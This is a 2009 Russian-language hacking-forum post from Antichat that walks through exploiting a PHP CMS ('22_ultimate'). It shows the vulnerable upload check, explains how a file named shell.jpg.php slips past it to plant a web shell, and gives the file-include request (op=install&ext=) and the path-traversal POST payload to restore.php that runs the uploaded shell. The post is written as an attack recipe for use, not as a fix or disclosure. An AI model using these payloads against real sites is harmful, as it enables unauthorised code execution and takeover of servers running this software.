Показать сообщение отдельно

  #4  
Старый 14.04.2009, 22:50
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
Провел на форуме:
7617458

Репутация: 3965


Отправить сообщение для Dimi4 с помощью ICQ
По умолчанию

Продолжим (:

http://localhost/22_ultimate/admin/?cmd=gallery.images

[/admin/gallery/upload.php 50 line]

Мега защита =)

PHP код:
        $rozdeleni explode("."$_FILES['image']['name'][$i]);
        if(
$rozdeleni[1] == "jpg" or $rozdeleni[1] == "JPG"
        { 
Если у нас shell.jpg.php, то:

Код:
Array ( [0] => shell [1] => jpg [2] => php ) 
Опять таки Заливка шелла. Проблема что заливается с расширением Array[1].
RFI
Рассмотрим admin\acp\extensions\index.php
Существует вот такой вот код.
PHP код:
if($_GET['op'] == 'install') {
    
$cms_root '../';
    
$path '../ext/install.' $_GET['ext'] . '.php';
    
$chksum md5_file($path);
    
    if(
file_exists($path)) {
        
$result=sql_query("SELECT chksum FROM ".$SQL_PREFIX."_ext WHERE chksum = '" $chksum "';");
    
$row_array sql_fetch_row($result);
    if(
$row_array[0] != $chksum) {
            include(
$path); 
Есть инклуд
PHP код:
include($path); 
Обращаемся к скрипту:
index.php?op=install&ext=[path]

$chksum
- ето у нас путь в md5.
Скрипт не может сделать sql_query, так как нет такого класа. Следовательно sql_fetch_row не выполнится тоже, а $row_array[0] не будет ровно $chksum. Имеем include($path);

LFI

/admin/acp/restore/restore.php

PHP код:
elseif(isset($_POST['download']))
    {
        
header('Content-Description: File Transfer');
        
header('Content-Type: text/x-sql');
        
header('Content-Disposition: attachment; filename="'$_POST['file'] .'.sql"');
    
        include(
'../store/'$_POST['file'] .'.sql');
    } 
POST file=../../../gallery/data/{nameofgallery}/full/shell.jpg}&download=

Последний раз редактировалось Dimi4; 14.04.2009 в 23:01..
 
Ответить с цитированием